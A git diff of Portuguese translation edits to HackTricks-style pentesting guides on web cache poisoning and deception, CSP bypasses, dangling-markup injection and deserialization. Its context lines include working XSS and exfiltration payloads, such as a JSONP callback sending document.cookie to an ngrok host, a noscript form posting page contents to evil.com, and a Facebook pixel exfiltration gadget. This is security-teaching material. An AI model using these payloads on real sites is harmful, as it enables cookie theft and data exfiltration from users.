-Às vezes, você precisará **explorar várias entradas não chaveadas** para poder abusar de um cache. Por exemplo, você pode encontrar um **redirecionamento aberto** se definir `X-Forwarded-Host` para um domínio controlado por você e `X-Forwarded-Scheme` para `http`. **Se** o **servidor** estiver **encaminhando** todas as **requisições HTTP** **para HTTPS** e usando o cabeçalho `X-Forwarded-Scheme` como o nome do domínio para o redirecionamento. Você pode controlar para onde a página é apontada pelo redirecionamento.
+Às vezes, você precisará **explorar várias entradas não chaveadas** para poder abusar de um cache. Por exemplo, você pode encontrar um **Redirecionamento aberto** se definir `X-Forwarded-Host` para um domínio controlado por você e `X-Forwarded-Scheme` para `http`. **Se** o **servidor** estiver **encaminhando** todas as **requisições HTTP** **para HTTPS** e usando o cabeçalho `X-Forwarded-Scheme` como o nome do domínio para o redirecionamento. Você pode controlar para onde a página é apontada pelo redirecionamento.
 ```markup
 GET /resources/js/tracking.js HTTP/1.1
 Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
@@ -164,7 +164,7 @@ Enviar um valor inválido no cabeçalho content-type acionou uma resposta 405 em
 
 ### GitLab + GCP CP-DoS
 
-O GitLab usa buckets do GCP para armazenar conteúdo estático. **Buckets do GCP** suportam o **cabeçalho `x-http-method-override`**. Assim, era possível enviar o cabeçalho `x-http-method-override: HEAD` e envenenar o cache para retornar um corpo de resposta vazio. Também poderia suportar o método `PURGE`.
+GitLab usa buckets GCP para armazenar conteúdo estático. **Buckets GCP** suportam o **cabeçalho `x-http-method-override`**. Assim, era possível enviar o cabeçalho `x-http-method-override: HEAD` e envenenar o cache para retornar um corpo de resposta vazio. Também poderia suportar o método `PURGE`.
 
 ### Rack Middleware (Ruby on Rails)
 
@@ -176,7 +176,7 @@ O Cloudflare anteriormente armazenava em cache respostas 403. Tentar acessar S3
 
 ### Injetando Parâmetros Chaveados
 
-Os caches frequentemente incluem parâmetros GET específicos na chave de cache. Por exemplo, o Varnish do Fastly armazenou em cache o parâmetro `size` em solicitações. No entanto, se uma versão codificada em URL do parâmetro (por exemplo, `siz%65`) também fosse enviada com um valor incorreto, a chave de cache seria construída usando o parâmetro `size` correto. No entanto, o backend processaria o valor no parâmetro codificado em URL. A codificação em URL do segundo parâmetro `size` levou à sua omissão pelo cache, mas sua utilização pelo backend. Atribuir um valor de 0 a esse parâmetro resultou em um erro 400 Bad Request que poderia ser armazenado em cache.
+Os caches frequentemente incluem parâmetros GET específicos na chave de cache. Por exemplo, o Varnish da Fastly armazenava em cache o parâmetro `size` nas solicitações. No entanto, se uma versão codificada em URL do parâmetro (por exemplo, `siz%65`) também fosse enviada com um valor incorreto, a chave de cache seria construída usando o parâmetro `size` correto. No entanto, o backend processaria o valor no parâmetro codificado em URL. A codificação em URL do segundo parâmetro `size` levou à sua omissão pelo cache, mas sua utilização pelo backend. Atribuir um valor de 0 a esse parâmetro resultou em um erro 400 Bad Request que poderia ser armazenado em cache.
 
 ### Regras de User Agent
 
@@ -184,7 +184,7 @@ Alguns desenvolvedores bloqueiam solicitações com user-agents que correspondem
 
 ### Campos de Cabeçalho Ilegais
 
-O [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) especifica os caracteres aceitáveis nos nomes dos cabeçalhos. Cabeçalhos contendo caracteres fora do intervalo **tchar** especificado devem idealmente acionar uma resposta 400 Bad Request. Na prática, os servidores nem sempre aderem a esse padrão. Um exemplo notável é o Akamai, que encaminha cabeçalhos com caracteres inválidos e armazena em cache qualquer erro 400, desde que o cabeçalho `cache-control` não esteja presente. Um padrão explorável foi identificado onde enviar um cabeçalho com um caractere ilegal, como `\`, resultaria em um erro 400 Bad Request que poderia ser armazenado em cache.
+O [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) especifica os caracteres aceitáveis nos nomes dos cabeçalhos. Cabeçalhos contendo caracteres fora do intervalo **tchar** especificado devem idealmente acionar uma resposta 400 Bad Request. Na prática, os servidores nem sempre aderem a esse padrão. Um exemplo notável é o Akamai, que encaminha cabeçalhos com caracteres inválidos e armazena em cache qualquer erro 400, desde que o cabeçalho `cache-control` não esteja presente. Um padrão explorável foi identificado onde o envio de um cabeçalho com um caractere ilegal, como `\`, resultaria em um erro 400 Bad Request que poderia ser armazenado em cache.
 
 ### Encontrando novos cabeçalhos
 
@@ -194,7 +194,7 @@ O [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) especifica os caracte
 
 O objetivo da Decepção de Cache é fazer com que os clientes **carreguem recursos que serão salvos pelo cache com suas informações sensíveis**.
 
-Primeiro, note que **extensões** como `.css`, `.js`, `.png` etc. são geralmente **configuradas** para serem **salvas** no **cache.** Portanto, se você acessar `www.example.com/profile.php/nonexistent.js`, o cache provavelmente armazenará a resposta porque vê a **extensão** `.js`. Mas, se a **aplicação** estiver **reproduzindo** com os conteúdos **sensíveis** do usuário armazenados em _www.example.com/profile.php_, você pode **roubar** esses conteúdos de outros usuários.
+Primeiro, note que **extensões** como `.css`, `.js`, `.png` etc. geralmente são **configuradas** para serem **salvas** no **cache.** Portanto, se você acessar `www.example.com/profile.php/nonexistent.js`, o cache provavelmente armazenará a resposta porque vê a **extensão** `.js`. Mas, se a **aplicação** estiver **reproduzindo** com os conteúdos **sensíveis** do usuário armazenados em _www.example.com/profile.php_, você pode **roubar** esses conteúdos de outros usuários.
 
 Outras coisas a testar:
 
@@ -209,13 +209,13 @@ Outro exemplo muito claro pode ser encontrado neste relatório: [https://hackero
 No exemplo, é explicado que se você carregar uma página inexistente como _http://www.example.com/home.php/non-existent.css_, o conteúdo de _http://www.example.com/home.php_ (**com as informações sensíveis do usuário**) será retornado e o servidor de cache salvará o resultado.\
 Então, o **atacante** pode acessar _http://www.example.com/home.php/non-existent.css_ em seu próprio navegador e observar as **informações confidenciais** dos usuários que acessaram antes.
 
-Note que o **proxy de cache** deve ser **configurado** para **armazenar em cache** arquivos **com base** na **extensão** do arquivo (_.css_) e não com base no content-type. No exemplo _http://www.example.com/home.php/non-existent.css_ terá um content-type `text/html` em vez de um tipo MIME `text/css` (que é o esperado para um arquivo _.css_).
+Note que o **proxy de cache** deve ser **configurado** para **armazenar em cache** arquivos **baseados** na **extensão** do arquivo (_.css_) e não com base no content-type. No exemplo _http://www.example.com/home.php/non-existent.css_ terá um content-type `text/html` em vez de um tipo mime `text/css` (que é o esperado para um arquivo _.css_).
 
 Aprenda aqui como realizar [ataques de Decepção de Cache abusando do HTTP Request Smuggling](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception).
 
 ## Ferramentas Automáticas
 
-- [**toxicache**](https://github.com/xhzeem/toxicache): Scanner em Golang para encontrar vulnerabilidades de envenenamento de cache web em uma lista de URLs e testar várias técnicas de injeção.
+- [**toxicache**](https://github.com/xhzeem/toxicache): Scanner Golang para encontrar vulnerabilidades de envenenamento de cache web em uma lista de URLs e testar várias técnicas de injeção.
 
 ## Referências
 

src/pentesting-web/cache-deception/cache-poisoning-to-dos.md

@@ -92,7 +92,7 @@ Not Found
 ```
 - **Normalização de caminho**
 
-Algumas páginas retornarão códigos de erro enviando dados URLencode no caminho, no entanto, o servidor de cache fará URLdecode do caminho e armazenará a resposta para o caminho URLdecoded:
+Algumas páginas retornarão códigos de erro enviando dados URLencode no caminho, no entanto, o servidor de cache irá URLdecode o caminho e armazenar a resposta para o caminho URLdecoded:
 ```
 GET /api/v1%2e1/user HTTP/1.1
 Host: redacted.com

src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md

@@ -5,7 +5,7 @@
 Este é um resumo das técnicas propostas no post [https://portswigger.net/research/gotta-cache-em-all](https://portswigger.net/research/gotta-cache-em-all) para realizar ataques de cache poisoning **abusando das discrepâncias entre proxies de cache e servidores web.**
 
 > [!NOTE]
-> O objetivo deste ataque é **fazer o servidor de cache pensar que um recurso estático está sendo carregado**, para que ele o armazene em cache, enquanto o servidor de cache armazena como chave de cache parte do caminho, mas o servidor web responde resolvendo outro caminho. O servidor web resolverá o caminho real, que carregará uma página dinâmica (que pode armazenar informações sensíveis sobre o usuário, um payload malicioso como XSS ou redirecionar para carregar um arquivo JS do site do atacante, por exemplo).
+> O objetivo deste ataque é **fazer o servidor de cache pensar que um recurso estático está sendo carregado** para que ele o armazene em cache, enquanto o servidor de cache armazena como chave de cache parte do caminho, mas o servidor web responde resolvendo outro caminho. O servidor web resolverá o caminho real que carregará uma página dinâmica (que pode armazenar informações sensíveis sobre o usuário, um payload malicioso como XSS ou redirecionar para carregar um arquivo JS do site do atacante, por exemplo).
 
 ## Delimitadores
 
@@ -47,6 +47,6 @@ Vários servidores de cache sempre armazenarão uma resposta se for identificada
 - **Diretórios estáticos bem conhecidos**: Os seguintes diretórios contêm arquivos estáticos e, portanto, suas respostas devem ser armazenadas em cache: /static, /assets, /wp-content, /media, /templates, /public, /shared
 - É possível forçar um cache armazenando uma resposta dinâmica usando um delimitador, um diretório estático e pontos, como: `/home/..%2fstatic/something` armazenará `/static/something` e a resposta será `/home`
 - **Diretórios estáticos + pontos**: Uma requisição para `/static/..%2Fhome` ou para `/static/..%5Chome` pode ser armazenada em cache como está, mas a resposta pode ser `/home`
-- **Arquivos estáticos:** Alguns arquivos específicos são sempre armazenados em cache, como `/robots.txt`, `/favicon.ico` e `/index.html`. O que pode ser abusado como `/home/..%2Frobots.txt`, onde o cache pode armazenar `/robots.txt` e o servidor de origem responder a `/home`.
+- **Arquivos estáticos:** Alguns arquivos específicos são sempre armazenados em cache, como `/robots.txt`, `/favicon.ico` e `/index.html`. O que pode ser abusado como `/home/..%2Frobots.txt` onde o cache pode armazenar `/robots.txt` e o servidor de origem responder a `/home`.
 
 {{#include ../../banners/hacktricks-training.md}}

src/pentesting-web/content-security-policy-csp-bypass/README.md

@@ -4,7 +4,7 @@
 
 ## O que é CSP
 
-Content Security Policy (CSP) é reconhecida como uma tecnologia de navegador, principalmente destinada a **proteger contra ataques como cross-site scripting (XSS)**. Funciona definindo e detalhando caminhos e fontes de onde os recursos podem ser carregados de forma segura pelo navegador. Esses recursos abrangem uma variedade de elementos, como imagens, frames e JavaScript. Por exemplo, uma política pode permitir o carregamento e a execução de recursos do mesmo domínio (self), incluindo recursos inline e a execução de código em string através de funções como `eval`, `setTimeout` ou `setInterval`.
+Content Security Policy (CSP) é reconhecido como uma tecnologia de navegador, principalmente destinada a **proteger contra ataques como cross-site scripting (XSS)**. Funciona definindo e detalhando caminhos e fontes de onde os recursos podem ser carregados de forma segura pelo navegador. Esses recursos abrangem uma variedade de elementos, como imagens, frames e JavaScript. Por exemplo, uma política pode permitir o carregamento e a execução de recursos do mesmo domínio (self), incluindo recursos inline e a execução de código em string através de funções como `eval`, `setTimeout` ou `setInterval`.
 
 A implementação do CSP é realizada através de **cabeçalhos de resposta** ou incorporando **elementos meta na página HTML**. Seguindo essa política, os navegadores aplicam proativamente essas estipulações e bloqueiam imediatamente quaisquer violações detectadas.
 
@@ -88,13 +88,13 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
 ```
 </details>
 
-- `'sha256-<hash>'`: Lista branca scripts com um hash sha256 específico.
-- `'strict-dynamic'`: Permite carregar scripts de qualquer fonte se tiver sido listado por um nonce ou hash.
+- `'sha256-<hash>'`: Adiciona à lista branca scripts com um hash sha256 específico.
+- `'strict-dynamic'`: Permite carregar scripts de qualquer fonte se tiver sido adicionado à lista branca por um nonce ou hash.
 - `'host'`: Especifica um host específico, como `example.com`.
 - `https:`: Restringe URLs àquelas que usam HTTPS.
 - `blob:`: Permite que recursos sejam carregados de URLs Blob (por exemplo, URLs Blob criadas via JavaScript).
 - `filesystem:`: Permite que recursos sejam carregados do sistema de arquivos.
-- `'report-sample'`: Inclui uma amostra do código violador no relatório de violação (útil para depuração).
+- `'report-sample'`: Inclui uma amostra do código que viola a política no relatório de violação (útil para depuração).
 - `'strict-origin'`: Semelhante a 'self', mas garante que o nível de segurança do protocolo das fontes corresponda ao documento (apenas origens seguras podem carregar recursos de origens seguras).
 - `'strict-origin-when-cross-origin'`: Envia URLs completas ao fazer solicitações de mesma origem, mas apenas envia a origem quando a solicitação é de origem cruzada.
 - `'unsafe-allow-redirects'`: Permite que recursos sejam carregados que redirecionarão imediatamente para outro recurso. Não recomendado, pois enfraquece a segurança.
@@ -153,15 +153,15 @@ Payloads funcionais:
 ```yaml
 Content-Security-Policy: script-src 'self';  object-src 'none' ;
 ```
-Se você puder fazer upload de um arquivo JS, poderá contornar este CSP:
+Se você puder fazer upload de um arquivo JS, pode contornar este CSP:
 
 Carga útil funcional:
 ```markup
 "/>'><script src="/uploads/picture.png.js"></script>
 ```
-No entanto, é altamente provável que o servidor **valide o arquivo enviado** e só permita que você **envie determinados tipos de arquivos**.
+No entanto, é altamente provável que o servidor esteja **validando o arquivo enviado** e só permitirá que você **envie um tipo determinado de arquivos**.
 
-Além disso, mesmo que você conseguisse enviar um **código JS dentro** de um arquivo usando uma extensão aceita pelo servidor (como: _script.png_), isso não seria suficiente porque alguns servidores, como o servidor Apache, **selecionam o tipo MIME do arquivo com base na extensão** e navegadores como o Chrome **rejeitam executar código Javascript** dentro de algo que deveria ser uma imagem. "Felizmente", existem erros. Por exemplo, em um CTF, aprendi que **o Apache não conhece** a extensão _**.wave**_, portanto, não a serve com um **tipo MIME como audio/\***.
+Além disso, mesmo que você conseguisse enviar um **código JS dentro** de um arquivo usando uma extensão aceita pelo servidor (como: _script.png_), isso não seria suficiente porque alguns servidores, como o servidor Apache, **selecionam o tipo MIME do arquivo com base na extensão** e navegadores como o Chrome **rejeitam executar código Javascript** dentro de algo que deveria ser uma imagem. "Felizmente", há erros. Por exemplo, em um CTF, aprendi que **o Apache não conhece** a extensão _**.wave**_, portanto, não a serve com um **tipo MIME como audio/\***.
 
 A partir daqui, se você encontrar um XSS e um upload de arquivo, e conseguir encontrar uma **extensão mal interpretada**, você poderia tentar enviar um arquivo com essa extensão e o conteúdo do script. Ou, se o servidor estiver verificando o formato correto do arquivo enviado, crie um poliglota ([alguns exemplos de poliglota aqui](https://github.com/Polydet/polyglot-database)).
 
@@ -274,7 +274,7 @@ Abusando \*.google.com/script.google.com
 ```http
 Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
 ```
-Cenários como este, onde `script-src` está definido como `self` e um domínio específico que está na lista branca pode ser contornado usando JSONP. Os endpoints JSONP permitem métodos de callback inseguros que permitem a um atacante realizar XSS, payload funcional:
+Cenários como este, onde `script-src` está definido como `self` e um domínio específico que está na lista branca pode ser contornado usando JSONP. Os endpoints JSONP permitem métodos de callback inseguros que permitem a um atacante realizar XSS, carga útil em funcionamento:
 ```markup
 "><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
 "><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
@@ -286,22 +286,22 @@ https://www.youtube.com/oembed?callback=alert;
 ```
 [**JSONBee**](https://github.com/zigoo0/JSONBee) **contém endpoints JSONP prontos para usar para contornar o CSP de diferentes sites.**
 
-A mesma vulnerabilidade ocorrerá se o **endpoint confiável contiver um Open Redirect** porque, se o endpoint inicial for confiável, os redirecionamentos são confiáveis.
+A mesma vulnerabilidade ocorrerá se o **endpoint confiável contiver um Redirecionamento Aberto** porque, se o endpoint inicial for confiável, os redirecionamentos são confiáveis.
 
 ### Abusos de Terceiros
 
 Como descrito no [seguinte post](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), existem muitos domínios de terceiros que podem ser permitidos em algum lugar no CSP, e podem ser abusados para exfiltrar dados ou executar código JavaScript. Alguns desses terceiros são:
 
-| Entidade          | Domínio Permitido                           | Capacidades  |
-| ----------------- | ------------------------------------------- | ------------ |
-| Facebook          | www.facebook.com, \*.facebook.com           | Exfil        |
-| Hotjar            | \*.hotjar.com, ask.hotjar.io                | Exfil        |
-| Jsdelivr          | \*.jsdelivr.com, cdn.jsdelivr.net           | Exec         |
-| Amazon CloudFront | \*.cloudfront.net                           | Exfil, Exec  |
-| Amazon AWS        | \*.amazonaws.com                            | Exfil, Exec  |
-| Azure Websites    | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec  |
-| Salesforce Heroku | \*.herokuapp.com                            | Exfil, Exec  |
-| Google Firebase   | \*.firebaseapp.com                          | Exfil, Exec  |
+| Entidade            | Domínio Permitido                           | Capacidades |
+| ------------------- | ------------------------------------------- | ------------ |
+| Facebook            | www.facebook.com, \*.facebook.com           | Exfil        |
+| Hotjar              | \*.hotjar.com, ask.hotjar.io                | Exfil        |
+| Jsdelivr            | \*.jsdelivr.com, cdn.jsdelivr.net           | Exec         |
+| Amazon CloudFront   | \*.cloudfront.net                           | Exfil, Exec  |
+| Amazon AWS          | \*.amazonaws.com                            | Exfil, Exec  |
+| Azure Websites      | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec  |
+| Salesforce Heroku   | \*.herokuapp.com                            | Exfil, Exec  |
+| Google Firebase     | \*.firebaseapp.com                          | Exfil, Exec  |
 
 Se você encontrar algum dos domínios permitidos no CSP do seu alvo, há chances de que você possa contornar o CSP registrando-se no serviço de terceiros e, ou exfiltrando dados para esse serviço ou executando código.
 
@@ -318,11 +318,11 @@ Você deve ser capaz de exfiltrar dados, da mesma forma que sempre foi feito com
 1. Crie uma conta de desenvolvedor do Facebook aqui.
 2. Crie um novo aplicativo "Facebook Login" e selecione "Website".
 3. Vá para "Configurações -> Básico" e obtenha seu "App ID".
-4. No site alvo de onde você deseja exfiltrar dados, você pode exfiltrar dados usando diretamente o gadget "fbq" do SDK do Facebook através de um "customEvent" e o payload de dados.
+4. No site alvo de onde você deseja exfiltrar dados, você pode exfiltrar dados usando diretamente o gadget "fbq" do Facebook através de um "customEvent" e o payload de dados.
 5. Vá para o "Gerenciador de Eventos" do seu aplicativo e selecione o aplicativo que você criou (note que o gerenciador de eventos pode ser encontrado em uma URL semelhante a esta: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
 6. Selecione a aba "Test Events" para ver os eventos sendo enviados pelo "seu" site.
 
-Então, do lado da vítima, você executa o seguinte código para inicializar o pixel de rastreamento do Facebook para apontar para o app-id da conta de desenvolvedor do Facebook do atacante e emitir um evento personalizado assim:
+Então, do lado da vítima, você executa o seguinte código para inicializar o pixel de rastreamento do Facebook para apontar para o app-id da conta de desenvolvedor do Facebook do atacante e emitir um evento personalizado como este:
 ```JavaScript
 fbq('init', '1279785999289471');​ // this number should be the App ID of the attacker's Meta/Facebook account
 fbq('trackCustom', 'My-Custom-Event',{​
@@ -383,7 +383,7 @@ Este trecho destaca o uso da diretiva `ng-focus` para acionar o evento, empregan
 ```
 Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
 ```
-Uma política CSP que permite domínios para carregamento de scripts em uma aplicação Angular JS pode ser contornada através da invocação de funções de callback e certas classes vulneráveis. Mais informações sobre esta técnica podem ser encontradas em um guia detalhado disponível neste [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22).
+Uma política CSP que permite domínios para carregamento de scripts em uma aplicação Angular JS pode ser contornada através da invocação de funções de callback e certas classes vulneráveis. Mais informações sobre essa técnica podem ser encontradas em um guia detalhado disponível neste [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22).
 
 Payloads funcionais:
 ```html
@@ -419,7 +419,7 @@ content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
 </body>
 </html>
 ```
-Se o CSP estiver definido como `https://www.google.com/a/b/c/d`, uma vez que o caminho é considerado, tanto os scripts `/test` quanto `/a/test` serão bloqueados pelo CSP.
+Se o CSP estiver definido como `https://www.google.com/a/b/c/d`, como o caminho é considerado, tanto os scripts `/test` quanto `/a/test` serão bloqueados pelo CSP.
 
 No entanto, o `http://localhost:5555/301` final será **redirecionado no lado do servidor para `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Como é um redirecionamento, o **caminho não é considerado**, e o **script pode ser carregado**, assim contornando a restrição de caminho.
 
@@ -542,13 +542,13 @@ run()
 ```
 ### Via Bookmarklets
 
-Este ataque implicaria alguma engenharia social onde o atacante **convence o usuário a arrastar e soltar um link sobre o bookmarklet do navegador**. Este bookmarklet conteria **código javascript malicioso** que, ao ser arrastado e solto ou clicado, seria executado no contexto da janela web atual, **contornando o CSP e permitindo roubar informações sensíveis** como cookies ou tokens.
+Este ataque implicaria alguma engenharia social onde o atacante **convence o usuário a arrastar e soltar um link sobre o bookmarklet do navegador**. Este bookmarklet conteria **código javascript malicioso** que, ao ser arrastado e solto ou clicado, seria executado no contexto da janela web atual, **burlando o CSP e permitindo roubar informações sensíveis** como cookies ou tokens.
 
-Para mais informações [**verifique o relatório original aqui**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
+Para mais informações [**ver o relatório original aqui**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
 
 ### Bypass de CSP restringindo o CSP
 
-Em [**este writeup de CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), o CSP é contornado ao injetar dentro de um iframe permitido um CSP mais restritivo que não permitia carregar um arquivo JS específico que, então, via **poluição de protótipo** ou **dom clobbering** permitiu **abusar de um script diferente para carregar um script arbitrário**.
+Em [**este writeup de CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), o CSP é burlado ao injetar dentro de um iframe permitido um CSP mais restritivo que não permitia carregar um arquivo JS específico que, então, via **poluição de protótipo** ou **dom clobbering** permitia **abusar de um script diferente para carregar um script arbitrário**.
 
 Você pode **restringir um CSP de um Iframe** com o atributo **`csp`**:
 ```html
@@ -557,7 +557,7 @@ src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
 csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
 ```
 Em [**este writeup de CTF**](https://github.com/aszx87410/ctf-writeups/issues/48), foi possível, via **injeção de HTML**, **restringir** mais um **CSP**, de modo que um script prevenindo CSTI foi desativado e, portanto, a **vulnerabilidade se tornou explorável.**\
-CSP pode ser tornado mais restritivo usando **tags meta HTML** e scripts inline podem ser desativados **removendo** a **entrada** permitindo seu **nonce** e **habilitando scripts inline específicos via sha**:
+O CSP pode ser tornado mais restritivo usando **tags meta HTML** e scripts inline podem ser desativados **removendo** a **entrada** permitindo seu **nonce** e **habilitando scripts inline específicos via sha**:
 ```html
 <meta
 http-equiv="Content-Security-Policy"
@@ -603,7 +603,7 @@ De acordo com a [**última técnica comentada neste vídeo**](https://www.youtub
 
 ### Sobrecarga do buffer de resposta do PHP
 
-O PHP é conhecido por **bufferizar a resposta em 4096** bytes por padrão. Portanto, se o PHP estiver mostrando um aviso, ao fornecer **dados suficientes dentro dos avisos**, a **resposta** será **enviada** **antes** do **cabeçalho CSP**, fazendo com que o cabeçalho seja ignorado.\
+O PHP é conhecido por **bufferizar a resposta em 4096** bytes por padrão. Portanto, se o PHP estiver mostrando um aviso, fornecendo **dados suficientes dentro dos avisos**, a **resposta** será **enviada** **antes** do **cabeçalho CSP**, fazendo com que o cabeçalho seja ignorado.\
 Então, a técnica consiste basicamente em **preencher o buffer de resposta com avisos** para que o cabeçalho CSP não seja enviado.
 
 Ideia de [**este writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
@@ -627,10 +627,10 @@ SOME é uma técnica que abusa de um XSS (ou XSS altamente limitado) **em um end
 
 Além disso, **wordpress** tem um endpoint **JSONP** em `/wp-json/wp/v2/users/1?_jsonp=data` que irá **refletir** os **dados** enviados na saída (com a limitação de apenas letras, números e pontos).
 
-Um atacante pode abusar desse endpoint para **gerar um ataque SOME** contra o WordPress e **incorporá-lo** dentro de `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` note que esse **script** será **carregado** porque é **permitido por 'self'**. Além disso, e porque o WordPress está instalado, um atacante pode abusar do **ataque SOME** através do endpoint **vulnerável** **callback** que **bypassa o CSP** para dar mais privilégios a um usuário, instalar um novo plugin...\
+Um atacante pode abusar desse endpoint para **gerar um ataque SOME** contra o WordPress e **incorporá-lo** dentro de `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` note que esse **script** será **carregado** porque é **permitido por 'self'**. Além disso, e porque o WordPress está instalado, um atacante pode abusar do **ataque SOME** através do endpoint **callback** **vulnerável** que **bypassa o CSP** para dar mais privilégios a um usuário, instalar um novo plugin...\
 Para mais informações sobre como realizar esse ataque, consulte [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
 
-## Bypasses de Exfiltração de CSP
+## Bypasses de Exfiltração CSP
 
 Se houver um CSP rigoroso que não permite que você **interaja com servidores externos**, há algumas coisas que você sempre pode fazer para exfiltrar as informações.
 

src/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md

@@ -8,7 +8,7 @@ Qualquer conteúdo de fontes externas também é bloqueado, incluindo imagens, C
 
 ### Via Texto & Imagens
 
-Observa-se que navegadores modernos convertem imagens e textos em HTML para melhorar sua exibição (por exemplo, definindo fundos, centralizando, etc.). Consequentemente, se um arquivo de imagem ou texto, como `favicon.ico` ou `robots.txt`, for aberto via um `iframe`, ele é renderizado como HTML. Notavelmente, essas páginas muitas vezes não possuem cabeçalhos CSP e podem não incluir X-Frame-Options, permitindo a execução de JavaScript arbitrário a partir delas:
+Observa-se que navegadores modernos convertem imagens e textos em HTML para melhorar sua exibição (por exemplo, definindo fundos, centralizando, etc.). Consequentemente, se um arquivo de imagem ou texto, como `favicon.ico` ou `robots.txt`, for aberto via um `iframe`, ele é renderizado como HTML. Notavelmente, essas páginas geralmente não possuem cabeçalhos CSP e podem não incluir X-Frame-Options, permitindo a execução de JavaScript arbitrário a partir delas:
 ```javascript
 frame = document.createElement("iframe")
 frame.src = "/css/bootstrap.min.css"

src/pentesting-web/dangling-markup-html-scriptless-injection/README.md

@@ -90,7 +90,7 @@ Você pode alterar o caminho de um formulário e inserir novos valores para que
 
 `<noscript></noscript>` É uma tag cujo conteúdo será interpretado se o navegador não suportar javascript (você pode ativar/desativar Javascript no Chrome em [chrome://settings/content/javascript](chrome://settings/content/javascript)).
 
-Uma maneira de exfiltrar o conteúdo da página da web do ponto de injeção até o final para um site controlado pelo atacante será injetar isto:
+Uma maneira de exfiltrar o conteúdo da página da web do ponto de injeção até o fundo para um site controlado pelo atacante será injetar isto:
 ```html
 <noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
 ```
@@ -163,7 +163,7 @@ top.window.location = "https://attacker.com/hacked.html"
 ```
 Isso pode ser mitigado com algo como: `sandbox=' allow-scripts allow-top-navigation'`
 
-Um iframe também pode ser abusado para vazar informações sensíveis de uma página diferente **usando o atributo name do iframe**. Isso ocorre porque você pode criar um iframe que se iframe, abusando da injeção HTML que faz com que as **informações sensíveis apareçam dentro do atributo name do iframe** e, em seguida, acessar esse nome a partir do iframe inicial e vazar.
+Um iframe também pode ser abusado para vazar informações sensíveis de uma página diferente **usando o atributo name do iframe**. Isso ocorre porque você pode criar um iframe que se iframe a si mesmo abusando da injeção HTML que faz com que as **informações sensíveis apareçam dentro do atributo name do iframe** e, em seguida, acessar esse nome a partir do iframe inicial e vazá-lo.
 ```html
 <script>
 function cspBypass(win) {
@@ -186,7 +186,7 @@ Isso pode ser **evitado** com um **CSP** em relação ao **http-equiv** ( `Conte
 
 ### Novo \<portal HTML tag
 
-Você pode encontrar uma **pesquisa muito interessante** sobre vulnerabilidades exploráveis da tag \<portal [aqui](https://research.securitum.com/security-analysis-of-portal-element/).\
+Você pode encontrar uma pesquisa muito **interessante** sobre vulnerabilidades exploráveis do \<portal tag [aqui](https://research.securitum.com/security-analysis-of-portal-element/).\
 No momento da escrita, você precisa habilitar a tag portal no Chrome em `chrome://flags/#enable-portals` ou não funcionará.
 ```html
 <portal src='https://attacker-server?

src/pentesting-web/deserialization/README.md

@@ -94,7 +94,7 @@ Você pode ler um **exemplo explicado de PHP aqui**: [https://www.notsosecure.co
 
 ### PHP Deserial + Autoload Classes
 
-Você poderia abusar da funcionalidade de autoload do PHP para carregar arquivos php arbitrários e mais:
+Você pode abusar da funcionalidade de autoload do PHP para carregar arquivos php arbitrários e mais:
 
 {{#ref}}
 php-deserialization-+-autoload-classes.md
@@ -198,7 +198,7 @@ test_then()
 ```
 ### `__proto__` e poluição de `prototype`
 
-Se você quiser aprender sobre essa técnica **dê uma olhada no seguinte tutorial**:
+Se você quiser aprender sobre esta técnica **dê uma olhada no seguinte tutorial**:
 
 {{#ref}}
 nodejs-proto-prototype-pollution/
@@ -231,11 +231,11 @@ Dentro do arquivo `node-serialize/lib/serialize.js`, você pode encontrar a mesm
 
 ![](<../../images/image (446).png>)
 
-Como você pode ver no último trecho de código, **se a flag for encontrada**, `eval` é usado para desserializar a função, então basicamente **a entrada do usuário está sendo usada dentro da função `eval`**.
+Como você pode ver no último bloco de código, **se a flag for encontrada**, `eval` é usado para desserializar a função, então, basicamente, **a entrada do usuário está sendo usada dentro da função `eval`**.
 
 No entanto, **apenas serializar** uma função **não a executará**, pois seria necessário que alguma parte do código **chamasse `y.rce`** em nosso exemplo, e isso é altamente **improvável**.\
